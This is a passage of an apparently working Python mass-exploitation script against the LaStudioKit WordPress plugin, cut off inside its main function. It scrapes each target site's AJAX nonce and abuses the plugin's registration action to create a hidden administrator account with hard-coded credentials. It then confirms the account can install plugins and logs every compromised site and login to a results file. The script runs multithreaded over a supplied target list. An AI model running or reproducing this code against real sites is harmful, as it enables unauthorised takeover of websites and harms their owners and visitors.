1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| import threading
import requests
import random
import os
import sys
import urllib3
import warnings
from queue import Queue
from colorama import init, Fore, Style
import re
import time
# ======================= Init =======================
init(autoreset=True)
os.environ["NO_PROXY"] = "*"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)
TELEGRAM_HANDLE = "@KNxploited"
GITHUB_HANDLE = "Nxploited"
# Credentials used in exploit
ADMIN_EMAIL = "adminSA12@exploit.com" # يمكنك تعديله
ADMIN_PASSWORD = "adminSA" # يمكنك تعديله
ADMIN_USERNAME = "Nx_admin" # يمكنك تعديله
RESULT_FILE = "success_results.txt"
MAX_THREADS = 50
BANNER = f"""{Fore.CYAN}
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\\ \\ / / __|_|_ ) \\_ )/ / ___ / \\/ _ \\_ ) \\
| (__ \\ V /| _|___/ / () / // _ \\___| () \\_, // / () |
\\___| \\_/ |___| /___\\__/___\\___/ \\__/ /_//___\\__/
{Style.RESET_ALL}{Fore.MAGENTA}
------------------------------------------------------------
By: Nxploited | GitHub: {GITHUB_HANDLE}
------------------------------------------------------------
{Style.RESET_ALL}
"""
# ======================= Logging helpers =======================
def log_info(site, msg):
ts = time.strftime("%H:%M:%S")
print(f"[{ts}] {Fore.CYAN}[*]{Style.RESET_ALL} {site} - {msg}")
def log_ok(site, msg):
ts = time.strftime("%H:%M:%S")
print(f"[{ts}] {Fore.GREEN}[+]{Style.RESET_ALL} {site} - {msg}")
def log_warn(site, msg):
ts = time.strftime("%H:%M:%S")
print(f"[{ts}] {Fore.YELLOW}[!]{Style.RESET_ALL} {site} - {msg}")
def log_err(site, msg):
ts = time.strftime("%H:%M:%S")
print(f"[{ts}] {Fore.RED}[-]{Style.RESET_ALL} {site} - {msg}")
# ======================= Helpers =======================
def random_user_agent():
agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
"(KHTML, like Gecko) Version/14.1.2 Safari/605.1.15",
]
return random.choice(agents)
def normalize_base(site: str) -> str:
site = site.strip()
if not site.startswith(("http://", "https://")):
site = "https://" + site
return site.rstrip("/")
# ======================= ajaxNonce extraction =======================
def extract_ajax_nonce(site: str, timeout: int = 10) -> str | None:
"""
يحاول استخراج ajaxNonce من أكثر من شكل وأكثر من مسار:
- "ajaxNonce": "value"
- ajaxNonce: "value"
- data-ajaxnonce / data-ajax-nonce داخل HTML attributes
"""
base = normalize_base(site)
headers = {"User-Agent": random_user_agent()}
# توسيع المسارات الشائعة للـ front page
paths = [
"",
"/",
"/index.php",
"/home",
"/start",
"/?page_id=1",
]
for path in paths:
url = base + path
try:
resp = requests.get(url, headers=headers, timeout=timeout, verify=False)
except Exception:
continue
if resp.status_code != 200:
continue
html = resp.text
# 1) الشكل الكلاسيكي في JSON/JS
m = re.search(r'"ajaxNonce"\s*:\s*"([a-zA-Z0-9_-]{5,})"', html)
if m:
return m.group(1)
# 2) أنماط أخرى في السكربت أو الـ data-attributes
patterns = [
r"ajaxNonce['\"]?\s*:\s*['\"]([a-zA-Z0-9_-]{5,})['\"]",
r"['\"]ajaxNonce['\"]\s*[:=]\s*['\"]([a-zA-Z0-9_-]{5,})['\"]",
r"data-ajaxnonce=['\"]([a-zA-Z0-9_-]{5,})['\"]",
r"data-ajax-nonce=['\"]([a-zA-Z0-9_-]{5,})['\"]",
]
for pat in patterns:
m2 = re.search(pat, html, re.IGNORECASE)
if m2:
return m2.group(1)
return None
# ======================= Exploit request =======================
def lakit_register_admin(
site: str,
nonce: str,
email: str,
password: str,
username: str,
timeout: int = 15,
) -> tuple[int, str]:
"""
تنفيذ استغلال LaStudioKit:
- entrypoint: /wp-admin/admin-ajax.php?action=lakit_ajax&_nonce=<nonce>
- action: register
- data:
* email / password / username
* lakit_field_log = "yes" -> استخدام الـ username المُرسل
* lakit_field_pwd = "yes" -> استخدام الـ password المُرسل
* lakit_field_cpwd = "no" -> تعطيل شرط password-confirm
* lakit_bkrole != empty -> تفعيل فلتر حقن meta (wp_capabilities=['administrator'=>1])
* lakit_recaptcha_response = "" (reCAPTCHA v3 غالبًا غير مفعّلة افتراضيًا)
"""
base = normalize_base(site)
endpoint = f"{base}/wp-admin/admin-ajax.php"
sess = requests.Session()
sess.verify = False
sess.headers.update(
{
"User-Agent": random_user_agent(),
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
}
)
actions_payload = (
"{"
'"req1":{'
'"action":"register",'
'"data":{'
f'"email":"{email}",'
f'"password":"{password}",'
f'"username":"{username}",'
'"lakit_field_log":"yes",'
'"lakit_field_pwd":"yes",'
'"lakit_field_cpwd":"no",'
'"lakit_bkrole":"1",'
'"lakit_recaptcha_response":""'
"}"
"}"
"}"
)
data = {
"action": "lakit_ajax",
"_nonce": nonce,
"actions": actions_payload,
}
try:
r = sess.post(endpoint, data=data, timeout=timeout, allow_redirects=True)
except Exception as e:
return 0, f"REQUEST_EXCEPTION: {e}"
return r.status_code, (r.text or "")
# ======================= Strong admin verification =======================
def verify_full_admin(site: str, username: str, password: str, timeout: int = 10) -> bool:
base = normalize_base(site)
login_url = f"{base}/wp-login.php"
sess = requests.Session()
sess.verify = False
headers = {"User-Agent": random_user_agent()}
try:
sess.get(login_url, timeout=timeout, verify=False, headers=headers)
except Exception:
pass
login_data = {
"log": username.strip(),
"pwd": password,
"wp-submit": "Log In",
"testcookie": "1",
}
headers = {
"User-Agent": random_user_agent(),
"Cookie": "wordpress_test_cookie=WP Cookie check",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": login_url,
}
try:
r = sess.post(
login_url,
data=login_data,
headers=headers,
timeout=timeout,
verify=False,
allow_redirects=True,
)
except Exception:
return False
content = (r.text or "").lower()
failure_indicators = [
"incorrect username or password",
"invalid username",
"invalid password",
"error: the username",
"is not registered",
"authentication failed",
"login failed",
"unknown username",
"error: the password you entered",
]
if any(ind in content for ind in failure_indicators):
return False
success_indicators = [
"dashboard",
"wp-admin-bar",
"adminmenu",
"wp-admin/index.php",
"wp-admin/profile.php",
]
could_be_logged_in = any(ind in content for ind in success_indicators)
cookie_header = r.headers.get("Set-Cookie", "")
if "wordpress_logged_in" in cookie_header or any(
c.name.startswith("wordpress_logged_in") for c in sess.cookies
):
could_be_logged_in = True
if not could_be_logged_in:
return False
admin_urls = [
f"{base}/wp-admin/plugin-install.php",
f"{base}/wp-admin/plugin-install.php?tab=upload",
f"{base}/wp-admin/plugins.php?page=plugin-install",
]
try:
for u in admin_urls:
try:
rr = sess.get(
u,
timeout=timeout,
verify=False,
headers={"User-Agent": random_user_agent()},
allow_redirects=False,
)
except Exception:
continue
if rr.status_code == 200 and "wp-login.php" not in (rr.url or ""):
txt = (rr.text or "").lower()
installation_indicators = [
"plugin-install-tab",
"upload-plugin",
"plugin-upload-form",
"install-plugin-upload",
"pluginzip",
"browse plugins",
"add plugins",
]
if any(ind in txt for ind in installation_indicators):
return True
elif rr.status_code in (301, 302):
loc = rr.headers.get("Location", "")
if "wp-login.php" in loc:
return False
except Exception:
pass
return False
# ======================= Worker =======================
def worker(thread_id, targets_chunk, out_queue):
for site in targets_chunk:
base = normalize_base(site)
try:
print(Fore.BLUE + "-" * 70 + Style.RESET_ALL)
log_info(base, "Starting target")
nonce = extract_ajax_nonce(base)
if not nonce:
log_warn(base, "kay not found")
out_queue.put(("failed", site, "nonce-not-found"))
continue
log_ok(base, f"kay: {nonce}")
status_code, resp_text = lakit_register_admin(
base, nonce, ADMIN_EMAIL, ADMIN_PASSWORD, ADMIN_USERNAME
)
log_info(base, f"AJAX HTTP status: {status_code}")
# إزالة طباعة الرد الخام لتقليل الضوضاء في الترمنال
# print(Fore.MAGENTA + f"==== RAW AJAX RESPONSE ({base}) ====" + Style.RESET_ALL)
# print(resp_text)
# print(Fore.MAGENTA + "==== END RAW AJAX RESPONSE ====\n" + Style.RESET_ALL)
if status_code != 200:
log_warn(base, "Non-200 HTTP status from admin-ajax")
out_queue.put(("failed", site, f"http-{status_code}"))
continue
low = resp_text.lower()
response_success = False
success_markers = [
"created successfully",
'"success":true',
"'success':true",
'"type":"success"',
'"status":"success"',
]
if any(m in low for m in success_markers):
response_success = True
log_ok(base, "AJAX response indicates success")
login_ok = verify_full_admin(base, ADMIN_USERNAME, ADMIN_PASSWORD)
log_info(
base,
f"Full admin verification (login + plugin install access): "
f"{'OK' if login_ok else 'FAIL'}",
)
if response_success and login_ok:
print(Fore.GREEN + "=" * 60 + Style.RESET_ALL)
print(Fore.GREEN + "[ SUCCESS BLOCK ]" + Style.RESET_ALL)
print(
f"{Fore.GREEN}Site :{Style.RESET_ALL} {base}\n"
f"{Fore.GREEN}Result :{Style.RESET_ALL} SUCCESS\n"
f"{Fore.GREEN}AJAX OK :{Style.RESET_ALL} YES\n"
f"{Fore.GREEN}FULL ADMIN :{Style.RESET_ALL} YES (login + plugin install access)"
)
print(Fore.GREEN + "=" * 60 + Style.RESET_ALL)
status_line = (
f"{base} | USERNAME:{ADMIN_USERNAME} | EMAIL:{ADMIN_EMAIL} "
f"| PASSWORD:{ADMIN_PASSWORD} "
f"| LOGIN:FULL_ADMIN_OK "
f"| RESP_SUCCESS:YES "
f"| NONCE:{nonce}"
)
write_result(RESULT_FILE, status_line)
out_queue.put(("success", site))
elif response_success and not login_ok:
log_warn(
base,
"AJAX indicates success but full admin verification failed "
"(maybe account created without admin capabilities or mail/activation flow).",
)
out_queue.put(("failed", site, "ajax-success-login-failed"))
elif not response_success and login_ok:
log_warn(
base,
"Full admin login OK but no AJAX success marker "
"(possible pre-existing admin user or custom response).",
)
out_queue.put(("failed", site, "login-success-no-ajax-marker"))
else:
log_warn(base, "No AJAX success marker and full admin verification failed")
out_queue.put(("failed", site, "no-success-marker-and-login-failed"))
except Exception as e:
log_err(base, f"Exception: {e}")
out_queue.put(("failed", site, "exception"))
# ======================= Utils =======================
def chunkify(lst, n):
if n <= 0:
n = 1
return [lst[i::n] for i in range(n)]
def write_result(filename, data):
with open(filename, "a", encoding="utf-8") as f:
f.write(data + "\n")
def read_targets(filename):
targets = []
try:
with open(filename, "r", encoding="utf-8") as f:
for line in f:
url = line.strip()
if url:
targets.append(url)
except FileNotFoundError:
print(f"Targets file not found: {filename}")
sys.exit(1)
return targets
# ======================= Output helpers =======================
def print_success_global():
print(Fore.GREEN + "\n" + "#" * 60 + Style.RESET_ALL)
print(
Fore.GREEN
+ "# Exploit finished: some targets reported SUCCESS. #"
+ Style.RESET_ALL
)
print(
Fore.GREEN
+ f"# Results saved to: {RESULT_FILE:<35}#"
+ Style.RESET_ALL
)
print(Fore.GREEN + "#" * 60 + Style.RESET_ALL)
def print_failed_global():
print(Fore.RED + "\nNo successful targets detected." + Style.RESET_ALL)
def printer_loop(queue):
any_success = False
while True:
item = queue.get()
if item is None:
break
typ = item[0]
if typ == "success":
any_success = True
if any_success:
print_success_global()
else:
print_failed_global()
# ======================= Main =======================
def main():
print(BANNER)
print(
Fore.CYAN
+ " LaStudioKit Admin Register (Refined Exploit + Strong Verification)"
+ Style.RESET_ALL
)
print(Fore.CYAN + "-" * 70 + Style.RESET_ALL)
list_file = input("Enter targets list filename (e.g. list.txt): ").strip()
if not list_file:
list_file = "list.txt"
try:
num_threads = int(input("Enter number of threads (1-50): ").strip())
num_threads = max(1, min(num_threads, MAX_THREADS))
except Exception:
num_threads = 10
targets = read_targets(list_file)
if not targets:
print("No targets loaded.")
sys.exit(1)
safe_threads = min(num_threads, max(1, min(MAX_THREADS, len(targets))))
queue = Queue()
threads = []
|